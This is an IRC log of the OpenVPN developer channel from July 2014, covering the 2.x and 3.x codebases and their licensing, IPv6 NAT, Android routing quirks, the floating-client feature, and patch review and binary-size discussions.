<@plaisthos> the best we have is http://openvpn.net/index.php/open-source/documentation/security-overview.html 14:48 <@vpnHelper> Title: Security Overview (at openvpn.net) 14:48 < lauri> plaisthos: could you please elaborate (are there plans to do so, is there interest from devs/community/hardware vendors, is it too much of a work)? 14:49 < lauri> IPsec spans over dozens of RFC-s so I kind of understand what has to be done :P 14:50 <@plaisthos> It would be nice to a specification but currently is doing any work in that direction 14:50 <@plaisthos> that is more or less the current state 14:50 <@plaisthos> I know that is not a nice state but that is all have 14:51 <@plaisthos> I don't know James documented something when he wrote the OpenVPN C++ core from scratch 14:51 < lauri> you're talking about OpenVPN 3.0? 14:51 <+krzee> all i can find on ovpn3 is http://staging.openvpn.net/openvpn3/ 14:51 <@vpnHelper> Title: OpenVPN 3 (at staging.openvpn.net) 14:52 <+krzee> yes, the c++ core is "ovpn3" 14:52 <+krzee> which is not the same as the "ovpn3" from !roadmap but its a big move in the direction 14:52 <+krzee> !roadmap 14:52 < lauri> So you're planning to dump C-based core? 14:52 <+krzee> <vpnHelper> "roadmap" is https://community.openvpn.net/openvpn/wiki/RoadMap for the roadmap for OpenVPN 3 14:52 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 14:53 <@plaisthos> lauri: it is complicated 14:53 <@plaisthos> lauri: you have the community GPLv2 project 14:54 <@plaisthos> and on the other side you have OpenVPN corp with the AGPL3 C++ core and contribution agreement 14:55 < lauri> So the copyright of current C-based GPLv2 codebase belongs to who? There is no CLA? 14:55 <@plaisthos> lauri: it is just CLA 14:55 <@plaisthos> err 14:55 <@plaisthos> just GPLv2 14:56 < lauri> the contributions for current GPLv2 codebase do not require CLA? 14:56 <@plaisthos> right 14:56 < lauri> Alrighty 14:56 <@plaisthos> but OPenVPN 3 will always do 14:56 < lauri> Right 14:56 <@plaisthos> for iOS stuff 14:56 < lauri> So the copyrights get transferred to OpenVPN corp 14:57 <@plaisthos> and not all community developers are happy to sign a CLA for OpeNVPN3 14:57 < lauri> So they could relicense it for proprietary platforms 14:57 <@plaisthos> exactly 14:57 < lauri> But this C++ codebase is usable? 14:57 < lauri> Or what is the current status 14:57 <@plaisthos> it is used in the Android and iOS OpenVPN clients 14:57 < lauri> I see 14:58 <@plaisthos> at the moment it is only client side 14:58 < lauri> So it provides backwards compatibility with OpenVPN 2.0 servers rihgT? 14:58 <@plaisthos> yes 14:58 <@plaisthos> same protocol 14:58 < lauri> thanks that has clarified several bits 14:58 < lauri> so OpenVPN 3.0 protocol will be backwards compatible with 2.0 for sure? 14:58 <@plaisthos> there is no v3 and v2 protocol 14:59 <@plaisthos> the version nummers are confused 14:59 < lauri> :D 14:59 < lauri> So the version number only refers to codebase, not protocol 14:59 <@plaisthos> yes 14:59 <@plaisthos> think of OPenVPN 2.x and OpenVPN 3.x just as two different OpenVPN implementation 15:01 < lauri> So 2.x will remain updated for routers etc while 3.x will focus on more capable devices? 15:01 <@plaisthos> You have ask OpenVPN COrp/James what their plans are 15:01 < lauri> Python wrappers and C++ library seems like a good direction for 3.x ;) 15:02 <@plaisthos> we are basically developing 2.x and OpenVPN crop develops 3.x 15:02 <@plaisthos> btw. OpenVPN for Android can also use the 3.x code 15:02 <@plaisthos> :) 15:03 < lauri> so basically you already have two codebases 15:04 <@plaisthos> nah it was just an experiment. OpenVPN3 can be easily used as a library 15:06 < lauri> Thank you for the information, this clarified a lot of things :) 15:11 <+krzee> well there are 2 codebases 15:11 <+krzee> his "nag is was an experiment" was specifically about "openvpn for android" 15:12 <+krzee> which is gplv2 although he experimented with openvpn3 with his code 15:12 <+krzee> theres also android "openvpn connect" which is openvpn3 code released by corp 15:12 <+krzee> so there are currently 2 definite and separate code bases for openvpn on android 15:13 <+krzee> it is specifically plaisthos who maintains / releases "openvpn for android" 15:29 * cron2_ wonders what James has been doing the past 2-3 months... 15:33 < lauri> oh wow, he responded: https://forums.openvpn.net/topic16193.html 15:33 <@vpnHelper> Title: OpenVPN Support Forum Pushing IETF standard : Wishlist (at forums.openvpn.net) 15:34 <@cron2_> wow :) 15:37 < lauri> The protocol spec is a joke because it skips everything about configuration negotiation (pushing routes etc) 15:38 < lauri> anywho thanks for the help guys :) 15:39 <@plaisthos> lauri: as I said we don't have more doc on the protocol :/ 15:39 < lauri> yep-yep, I understand :) 15:46 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has left #openvpn-devel [] 15:55 <+krzee> but as always, contributions are welcome =] 16:22 -!- Envil [~meep@85.17.109.16] has quit [Remote host closed the connection] 17:03 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 240 seconds] 18:27 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 18:27 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 18:27 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has quit [Read error: Connection reset by peer] 18:28 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 18:28 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 18:29 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has left #openvpn-devel [] --- Day changed Wed Jul 02 2014 02:34 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:41 <@plaisthos> yeah, Android L preview: 2014-07-02 04:50:35 NOTE: unable to redirect default gateway -- Cannot read current default gateway from system 03:53 <@cron2_> yay 04:18 <@plaisthos> hm 04:18 <@plaisthos> what do we read? 04:18 <@plaisthos> /proc/net/route? 04:18 <@cron2_> OpenVPN? /proc/net/route, yes 04:19 <@cron2_> why is it doing that anyway, on Android... 04:19 <@plaisthos> cron2_: don't know yet 04:19 <@plaisthos> the emulator is different 04:19 <@plaisthos> the real Android might have gone full policy routing 04:21 <@plaisthos> but unfortenately Android L preview is only for Nexus 7 2013 WiFI device, not the Nexus 2013 LTE 05:30 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 07:56 -!- dazo_afk is now known as dazo 14:40 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 14:41 <+debbie10t> Hi .. could someone please just check this thread for me : https://forums.openvpn.net/topic16239.html 14:41 <@vpnHelper> Title: OpenVPN Support Forum Help...connects but no ping. : OpenVPN Connect (Android) (at forums.openvpn.net) 14:42 <+debbie10t> I fully expect I have misunderstood the problem but the log looks clear 14:42 <+debbie10t> sorry to bug you all here 14:43 <+debbie10t> I have tried to summarize it onn the end 15:53 <@dazo> debbie10t: I have no clue on that thread. But generally speaking, there is no such thing as a nat module for ip6tables. iptables, yes, but not ip6tables 15:54 <@dazo> debbie10t: but I do see this line: Sat Jun 28 20:05:45 2014 us=693254 MULTI: new connection by client 'jon2' will cause previous active sessions by this client to be dropped. Remember to use the --duplicate-cn option if you want multiple clients using the same certificate or username to concurrently connect. 15:54 <@dazo> but tbh ... I don't trust the client log at all 15:56 <@cron2_> dazo: uh. there *is* nat for IPv6 nowadays. Or is this about "in OpenVPN"? 15:56 <@dazo> cron2_: yeah, but not in ip6tables ;-) (and it's not called 'nat') 15:56 <@cron2_> it is not? 15:57 <@dazo> w00t! It is ... I remember a long discussion somewhere, and the wanted to call it nat66 15:57 <@dazo> http://mirrors.bieringer.de/Linux+IPv6-HOWTO/nat-netfilter6..html 15:57 <@vpnHelper> Title: Network Address Translation (NAT) using netfilter6 (at mirrors.bieringer.de) 15:57 <@cron2_> which is pointless as IPv4 is not "nat44" either... :-) 15:57 <@dazo> yeah 15:58 <@cron2_> so I assume someone decide that "in-family nat is just 'nat'". Having nat64 and nat46 is confusing enough... 15:58 <@dazo> probably :) 15:58 <@cron2_> (NAT66 is a great thing to stir a discussion :-) - unfortunately, it doesn't work for me anymore, as people know that I just like to troll with this...) 15:59 <@dazo> hehehe 15:59 <@dazo> I really did hope we could avoid nat on ipv6 .... 16:00 <@cron2_> well... there is "forcing nat on people because you can't give them more than one address". This is bad and needs to go. 16:01 <@cron2_> then there is "as part of your toolbox to work around scenarios that would be complicated/impossible otherwise". And that is useful :-) 16:01 <@dazo> true .... but isps should do better! ;-) 16:02 <@cron2_> yeah, no ISP-side NAT, evar 16:02 <@syzzer> ... and then there are some folks who believe hiding your true address is a security feature ;) 16:02 <@dazo> yup 16:02 <@cron2_> syzzer: yeah, I've been part of way too many "MUST HAVE NAT" <-> "NAT IS EVIL, CAN'T HAVE IT!" discussions 16:03 <@cron2_> "among consenting adults" :-) 16:04 <@syzzer> hehe, yup... 16:15 -!- raidz is now known as raidz_away 16:16 <@plaisthos> NAT IPv6 discussion 16:16 <@plaisthos> ANdroid KitKat needs IPv6 NAT kernel support for IPv6 VPN 16:17 <@plaisthos> since it uses policy routing the kernel uses as source addresses the "normal" IPv6 address 16:17 <@plaisthos> and the policy routing fixes the destination and the IPv6 NAT fixes the source address 16:18 <@syzzer> that sounds painful 16:19 <@plaisthos> iirc the google commit mentions Linux 3.11 as first version supporting IPv6 NAT 16:22 <@pekster> There's some limited (but potentially useful) "good" use of IPv6 NAT, such as issuing downstream LANs out of ULA ranges and doing 1:1 NAT. That's most useful when you have potentially-changing allocations (from PD, or w/e) and you want to fake a stable range to the LAN 16:23 <@pekster> Jury is still out on how screwed up mobile IPv6 networking is going to become, but right now the answer appears to be "very" 16:31 <@dazo> plaisthos: From what I saw today, it seems IPv6 NAT came in the 3.9 kernel 16:31 <@plaisthos> dazo: maybe that 16:31 <@dazo> cron2_: got a good tip how to find out all IP ranges a specific ISP uses? 16:31 -!- raidz_away is now known as raidz 16:32 <@plaisthos> for active ragnes you could look at AS and BGP 16:42 <@dazo> plaisthos: I have an AS reference, but I 16:42 <@dazo> I'm probably using it wrong 16:43 <@dazo> (this is IPv4 btw) 16:47 <@dazo> okay, found it! :) 16:47 <@plaisthos> dazo: http://bgp.he.net/AS680#_prefixes 16:47 <@vpnHelper> Title: AS680 Verein zur Foerderung eines Deutschen Forschungsnetzes e.V. - bgp.he.net (at bgp.he.net) 16:47 <@dazo> that's exactly the one I found :) 16:48 <@dazo> thx a lot! 16:50 <@plaisthos> :) 16:59 -!- dazo is now known as dazo_afk 17:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:19 <+debbie10t> <dazo>but tbh ... I don't trust the client log at all 17:19 <+debbie10t> ^^ got it ;) thx 17:19 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has left #openvpn-devel [] --- Day changed Thu Jul 03 2014 02:05 <@cron2_> dazo: what plaisthos says :-) - use one IP address for an IP->BGP lookup, use BGP->prefixes to lookup all the others 02:29 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:57 <@vpnHelper> RSS Update - gitrepo: cleanup: remove #if 0'ed function initiate_untrusted_session() from ssl.c. <https://github.com/OpenVPN/openvpn/commit/e6b5755c381923bb4d225bda1f1747415a29341d> 03:59 <@cron2_> mmmh, a new week already 03:59 <@cron2_> d12fk: good morning to you, sir :-) 04:00 <@d12fk> ah is it this time again =) 04:02 <@cron2_> indeed it is 04:07 <@cron2_> someone asked on the list about using openvpn profiles from a user's profile, not from \programs\openvpn\config, and as I remember, this should be doable using the iservice, right? or at least something about "user-installable profiles" vs. "admin-only"... 04:07 <@cron2_> ... so I remembered my wekly duties... :) 04:10 -!- dazo_afk is now known as dazo 05:05 <@dazo> hmmmm .... http://www.tagesschau.de/inland/nsa-xkeyscore-100.html .... Using TOR == Being Extremist, if I understood the key points correctly 05:05 <@vpnHelper> Title: Deutsche im Visier des US-Geheimdienstes: Von der NSA als Extremist gebrandmarkt | tagesschau.de (at www.tagesschau.de) 05:07 <@cron2_> well, the NSA is keeping a close watch on you, yes 05:07 <@cron2_> but then, as you contribute to a) open source without US control, b) crypto, and c) hide data from the NSA, you're evil anyway 05:13 <@dazo> hehe 05:15 <@dazo> I'm actually curious how high (or low) I score on NSA's "extremist" scale :) 05:50 <@syzzer> travelled to the US recently? Customs might give you a clou ;-) 05:59 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 245 seconds] 06:27 <@dazo> syzzer: good point! I managed to get in to Scotland (and out!) a few weeks ago with nobody caring, so GCHQ probably don't care yet ... unless the Scots where just too nice to a Norwegian :-P 06:29 <@cron2_> they just bugged all your clothes and suitcases and installed trojans in your bios 06:29 <@cron2_> (but the Scots are not the GCHQ dudes anyway, those are *brits*) 06:31 <@dazo> actually, trojan in bios is what scares me the most 06:34 <@cron2_> well, or "in some interesting and only partially documented management chip with full access to everything", like in all recent Intel chipsets 06:40 <@dazo> :/ ... yeah 06:56 <@syzzer> hehe, yup. From that/my pov 'vPro' is a drawback, not a feature. 06:59 <@cron2_> indeed. OTOH, intel has more ways to do fishy things in your hardware, so you have little more choice but to trust them 07:00 <@cron2_> (... did I mention my OpenVPN source tree is on an oldish Sun UltraSPARC machine, with no intel inside?) 07:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] 07:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 07:24 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:23 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:44 -!- raidz is now known as raidz_away 11:44 -!- raidz_away is now known as raidz 12:24 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 14:40 -!- dazo is now known as dazo_afk 15:42 <@plaisthos> systemd in custom locations 15:42 * plaisthos still does not like Gentoo 16:46 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 16:47 < Haigha> hello 16:48 <@syzzer> hi :) 16:48 < Haigha> i'm searching for a way to monitor openvpn servers 16:49 <@plaisthos> see doc/managment.txt 16:49 <@syzzer> sounds like you should ask your question in the user channel, #openvpn :) 16:49 <@plaisthos> but that question is better suited in #openvpn 16:49 < Haigha> i already asked there, but i needed something more specific 16:49 < Haigha> my idea was to send an ICMP packet through openvpn 16:50 < Haigha> but i don't know how to do it without weing root 16:50 < Haigha> *being 16:50 < Haigha> do you have an idea of how a nagios pluging could do that? 16:51 <@plaisthos> that is completly out of scope for #openvpn-devel 19:41 < Haigha> how can I know if a P_CONTROL_V1 packet is the last fragment? --- Day changed Fri Jul 04 2014 00:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 01:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:31 <@plaisthos> cron2_: do you know of any special reserved IP addresses I can use as placeholder? 02:31 <@plaisthos> For Android L I need setting network-gateway to some random value like 1.2.3.4 02:32 <@cron2_> 2001:db8::/32 02:32 <@cron2_> oh, you need legacy :-) - 192.0.2.1 comes to mind (documentation prefix, guaranteed to be not in use) 02:33 <@cron2_> CIDR: 192.0.2.0/24 02:33 <@cron2_> Comment: Addresses starting with "192.0.2.", "198.51.100.", or "203.0.113." are reserved for use in documentation and sample configurations. They should never be used in a live network configuration. No one has permission to use these addresses on the Internet. 02:33 <@cron2_> (from whois.arin.net) 02:34 <@cron2_> other folks use 127.0.0.<x> with x != 1 for "things!" 02:35 <@plaisthos> 127.something might be better suited for my use case 02:36 <@plaisthos> In the end it is only string I throw around between my ui and OpenVPN (while OpenVPN thinks that that is a real IP) 02:36 <@cron2_> yep, I assumed that. 127.x is good for that "this is magic internal stuff" 02:58 <@cron2_> grrr, I really need to work on the NLTM stuff really soon now 03:08 <@plaisthos> cron2_: do you have problem with ntlm too now? 03:08 <@plaisthos> I didn't read that ntlm stuff because I have no idea what the people are talking about 03:23 <@cron2_> plaisthos: I have no problems with NTLM, but I see that there are open bugs, and I find it unfair to let Holger sit on his patches for so long without proper review 03:24 <@plaisthos> cron2_: yes ... 03:48 <@plaisthos> the floating stuff works even better than I thought 03:48 <@plaisthos> 4 bytes from 2001:638:502:e020::1000: icmp_seq=11 ttl=64 time=68.9 ms 03:48 <@plaisthos> Jul 4 10:48:03 hermes ovpn-udp-v6[8190]: floating detected from [AF_INET6]::ffff:131.234.242.212:38636 to [AF_INET6]::ffff:80.187.100.207:17057 03:48 <@plaisthos> 64 bytes from 2001:638:502:e020::1000: icmp_seq=12 ttl=64 time=41.2 ms 03:54 <@cron2_> wow 03:54 <@cron2_> this is another one that needs careful review (and synchronization with James so we all agree on packet format and handling) 04:01 -!- dazo_afk is now known as dazo 04:37 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:37 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:37 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Client Quit] 04:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:43 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:01 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 05:04 <+debbie10t> hi, sorry to bother you with this as it is not actually about development - but it is the first time I have seen this error "read from TUN/TAP : read from TUN/TAP : The I/O operation has been aborted because of either a thread exit or an application request. (code=995)" : It does not look like something #openvpn will be able to help with. 05:05 <+debbie10t> https://forums.openvpn.net/post42501.html 05:05 <@vpnHelper> Title: OpenVPN Support Forum read from TUN/TAP : The I/O operation has been aborted : Server Administration (at forums.openvpn.net) 05:05 <+debbie10t> tia 06:12 <@plaisthos> cron2_: yeah. I reviewed the patch without commenting on the packet format 06:12 <@plaisthos> carrier nat ftw: Jul 4 13:10:19 hermes ovpn-udp[17949]: floating detected from [AF_INET]82.113.121.200:49341 to [AF_INET]82.113.121.200:60807 (session 0) 06:30 <@plaisthos> Jul 4 13:30:35 hermes ovpn-udp[17949]: hmac verification failed, session forge detected! 06:30 <@plaisthos> something is still wrong ... 07:36 <@plaisthos> great 07:36 <@plaisthos> packet from one kvm host -> kvm host with openvpn and the udp/tcp checksums are broken 07:59 <@plaisthos> 2 09:50 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:37 <@cron2_> mattock around? 12:44 -!- Envil [~meep@85.17.109.16] has joined #openvpn-devel 13:30 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:30 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:04 <@syzzer> cron2_: I believe mattock is on vacation 14:12 <@cron2_> looks like it... 18:08 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 272 seconds] 19:03 -!- dazo is now known as dazo_afk 19:16 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has left #openvpn-devel [] 19:50 <+krzee> i do some of my best work while on vacation :D 20:22 -!- Envil [~meep@85.17.109.16] has quit [Remote host closed the connection] 23:18 -!- You're now known as ecrist 23:25 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:25 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sat Jul 05 2014 03:25 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 03:26 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:02 -!- Envil [~meep@85.17.109.16] has joined #openvpn-devel 18:17 -!- Envil [~meep@85.17.109.16] has quit [Remote host closed the connection] 23:05 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 23:08 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 23:42 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:42 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Sun Jul 06 2014 00:27 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 00:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 240 seconds] 00:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 00:28 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 00:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:33 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:34 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 240 seconds] 09:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:35 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 10:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:15 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: It's nice to know that my launch to orbit won't have any pesky back-up systems weighing me down. -- Andy Weir: The Martian] 12:42 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:35 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 13:35 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 14:15 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: Religion is excellent stuff for keeping common people quiet. Religion is what keeps the poor from murdering the rich. -- Napoleon Bonaparte] 14:15 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 19:47 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:47 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:31 <@vpnHelper> RSS Update - tickets: #421: Inline CRL <https://community.openvpn.net/openvpn/ticket/421> --- Day changed Mon Jul 07 2014 01:59 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:11 <@vpnHelper> RSS Update - tickets: #422: capath usage either unclear or dysfunctional <https://community.openvpn.net/openvpn/ticket/422> 02:35 <@cron2_> all this crypto stuff early morning... 02:35 <@syzzer> both seem valid at first glance 02:36 <@syzzer> #422 might be tricky though 03:31 <@plaisthos> Available with OpenSSL version >= 0.9.7 dev 03:31 <@plaisthos> we might remove that line from the manpage 03:35 <@syzzer> plaisthos: yeah, I thought so too :-) 03:39 <@syzzer> plaisthos: btw, feel like reviewing my CFB/OFB patches soon? (just poking, don't feel rushed. I'm just hoping I can actually close a trac ticket for once ;) ) 03:43 <@plaisthos> syzzer: do we really need a define a configure option for that? 03:43 <@plaisthos> can't we just enable it always? 03:56 <@plaisthos> syzzer: your patches were smaller than I thought :) 03:57 <@plaisthos> syzzer: I made some comment on 1/4 and 2/4 for you to fix/reply to 04:02 <@syzzer> coo, thanks! 04:03 <@syzzer> cool, that is 04:04 <@syzzer> plaisthos: the configure option is there becasue previously the #define existed, and because its easy for me, because OpenVPN-NL only does CBC ;) 04:05 <@plaisthos> with other words. It is not really needed but it makes your life easier in OpenVPN-NL to disallow other than CBC 04:05 <@plaisthos> ;) 04:06 <@syzzer> you read that right ;) 04:43 -!- dazo_afk is now known as dazo 05:28 <@plaisthos> hm 05:28 <@plaisthos> I think I will remove the applied patches section from http://community.openvpn.net/openvpn/wiki/Patches 05:29 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 05:29 <@plaisthos> It is incomplete and for developers of the "core team" aka the people idling here, patches are often "fast-tracked" and never appear on that page anyway 05:33 <@plaisthos> cron2_,dazo: commit work for you :P 05:38 <@dazo> plaisthos: applied patches should indeed be removed (or at least moved into the "Applied" section) 05:38 <@dazo> but yeah, there are patches there we should be able to look at ... at some point :/ 05:41 <@dazo> The "Add support for Keying Material Exporter [RFC 5705]" is in progress. I chatted with Daniel early last week, and he was going to look at all the stuff I commented 05:53 <@plaisthos> dazo: I try to keep the page updated 05:53 <@plaisthos> but sometimes I miss a patch or miss an applied patch 05:53 <@plaisthos> I also don't bother to add patches which are already acked and commited to the page 06:01 <@plaisthos> I almost want to write a TCP/UDP checksum hack for openvpn to workaround the broken kvm offloading :/ 06:16 <@cron2_> plaisthos: woot! 06:16 <@cron2_> (will go and commit/push tonight) 06:17 <@cron2_> plaisthos: as for "removing the applied patches" -> ACK, makes sense. There's git shortlog for that :) 06:18 <@plaisthos> cron2_: in short packets between virtual hosts are just marked as "correct" and the rx offloading will then tell the kernel "this packet has a correct" checksum 06:18 <@plaisthos> that works as long nobody checks the checksum which is in the packet 06:19 <@plaisthos> (or doesn't check it and forwards it like OpenVPN) 06:33 <@cron2_> oh. LOTs of ACK work :) 07:07 <@plaisthos> yapp 07:13 <@plaisthos> Also some cleanup patches from me 07:35 <@syzzer> cleanup \o/ 07:38 <@plaisthos> for some reason I recived 3/4 and 4/4 two times 07:38 * plaisthos wonders what went wrong 07:38 <@syzzer> 3/4 was both filtered on my corp mail as marked as "not important" by gmail 07:38 <@syzzer> seems some spam rule triggers on it 07:39 <@plaisthos> hm does specifying -to in git format-patch as well in git send-email create duplicates? 07:39 <@syzzer> uh, 2/4 I mean 07:40 <@plaisthos> hm 07:40 <@syzzer> should not, but you'll be in CC: and openvpn-devel in TO: 07:40 <@plaisthos> now there are no duplicates anymore 07:40 <@plaisthos> maybe it was a thunderbird bug 07:41 <@plaisthos> syzzer: I always use git send-email --s 07:41 <@plaisthos> uppress-cc=all 07:41 <@plaisthos> (since I don't the cc to myself) 07:41 <@syzzer> ah, then you should definitely receive it just once... 08:27 <@cron2_> augh, not only an ACK flood from Arne, but also new stuff to review :-) 08:40 <@plaisthos> And I /fixed/ my checksum problem 08:40 <@plaisthos> I added a route to the external router for the openvpn box 08:41 <@plaisthos> (kind of nonsense but works) 08:42 <@plaisthos> And I know who how static routes via dhcp work :D 09:42 <@syzzer> plaisthos: ah, option 161, or wat was it again? 09:42 <@syzzer> fun fact: android doesn't parse then ;) 09:43 <@cron2_> android does not *really* like DHCP, it seems 09:58 <@plaisthos> syzzer: yeah, it seems my windows and linux clients don't seems to like it either 09:59 <@syzzer> really? My Windows 7, 8 and Ubuntu/Debian machines are all happy with them 10:01 <@plaisthos> syzzer: maybe I did something wrong ... 10:02 <@plaisthos> maybe it is my weird /32 route inside the clients own net route that the clients ignore 11:48 -!- pekster_ is now known as pekster 12:06 <@dazo> plaisthos: looking briefly at your patches to the ML ... 2/4 - always compile in http/socks proxy ... have you checked how much the binary grows with this code? 12:07 <@dazo> (just thinking that James might be concerned about this, as they have some embedded customers with tight storage) 12:07 <@cron2_> especially those might want the "use whatever proxy is possible" code... 12:08 <@dazo> true 12:15 <@plaisthos> dazo: it does not compile with --disable-proxy ... 12:15 <@dazo> fantastic! :) 12:20 <@plaisthos> after fixing these errors quick and dirty it is 551k vs 579k 12:20 <@plaisthos> (stripped OS X) 12:21 <@plaisthos> let check Linux 12:24 <@plaisthos> 601k vs 629k 12:24 <@plaisthos> it removes a lot of ifdef stuff in the socket.c 12:24 <@syzzer> plaisthos: is that master or 2.3 (what not compiles)? 12:25 <@plaisthos> syzzer: master 12:25 <@plaisthos> I think I am at fault there 12:25 <@plaisthos> syzzer: let me guess, you need that feature for OpenVPN-NL d: 12:26 <@syzzer> ah, too bad, otherwise we could more or less assume nobody was using it :p 12:26 <@syzzer> nope, I don't believe we're stripping that 12:28 <@plaisthos> 2.3 still compiles 12:28 <@plaisthos> If we decide to keep the ifdefs I will submit a patch fixing the breakage 12:29 <@cron2_> amazing that it's so much extra - 28k, for hardly any code. Is that contributing to structure size or something like that? 12:29 <@cron2_> what does "size binary" say about it? code or data? 12:29 <@cron2_> many #ifdef, but not *that* much code 12:32 <@plaisthos> lemme check something ... 12:32 <@plaisthos> lets enable-small 12:32 <@syzzer> ah, dammit, sent my reply to my 1/4 just to plaisthos this morning :( 12:35 <@plaisthos> 490k vs 515k with enable-small 12:35 <@plaisthos> so it is not the --help stuff with blows the binary 12:38 <@cron2_> some of the structures grow a few "struct something *", but that's harmless 12:39 <@cron2_> socks.o is 6kbyte code 12:40 <@plaisthos> yeah 12:40 <@plaisthos> socks.o is 5850 and proxy.o is 10199 here 12:40 <@cron2_> ah, that is "SOCKS *and* HTTP proxy" 12:41 <@plaisthos> just got spam "replace your windows today" which turned out to be spam for actual windows 12:42 <@cron2_> "size" seems to count "static strings" as "code" nowadays 12:42 <@cron2_> (I though it would be "data") 12:42 <@cron2_> there is lots of static strings in http.c... 12:42 <@cron2_> proxy.c 12:43 <@plaisthos> cron2_: since they are static strings 12:43 <@plaisthos> modifiable strings would end up in data 12:43 <@cron2_> good point 12:45 <@cron2_> anyway. I think for both socks and http proxy, 15-20k is reasonable (as there is also ntlm.o). For the sort of embedded device I am dealing with these days, 20k wouldn't matter much, as long as it's not using much run-time memory - which it doesn't do, if not use 12:45 <@plaisthos> syzzer: just resend the email with cc 12:46 <@syzzer> plaisthos: ah, I resent it too :p0 12:46 <@plaisthos> btw. my client thinks you had cc openvpn-devel already on the first email 12:47 <@plaisthos> syzzer: [you should] just resend the email with cc 12:47 <@plaisthos> (that was what I meant) 12:47 <@syzzer> gaaaaah 12:47 <@syzzer> yup, I *did* cc openvpn-devel earlier this day :/ 12:48 <@syzzer> oh well, not you have it twice. 12:56 <@cron2_> ohyeah 12:57 * cron2_ 